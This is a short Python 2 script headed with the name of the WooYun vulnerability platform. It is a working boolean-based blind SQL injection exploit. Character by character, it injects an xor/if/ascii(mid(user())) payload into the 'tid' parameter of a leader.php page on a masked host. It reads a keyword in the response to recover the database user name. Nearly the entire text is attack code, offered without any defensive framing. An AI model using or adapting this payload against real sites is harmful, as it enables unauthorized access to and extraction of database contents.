WooYun.org

import requests
import re
import time
payloads='ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@_.'
from time import sleep
user=''
print 'Start to retrive Mysql user:'
for i in range(1,17):
    for payload in payloads:
        starttime=time.time()
        
        s="15 xor if(ascii(mid(user() from (%s)for 1))=%s,1,0)" %(i,ord(payload))
        param={'page':1,'tid':s}
        try:
            response=requests.get('http://**.**.**.**/TkuEEWebLog/Members/leader.php',params=param).text
            
            if re.search('Rau',response):
                user+=payload
                print '\n user is:',user,
            else:
                print '.',
        except:
            pass
print '\n[Done] mysql user is %s' %user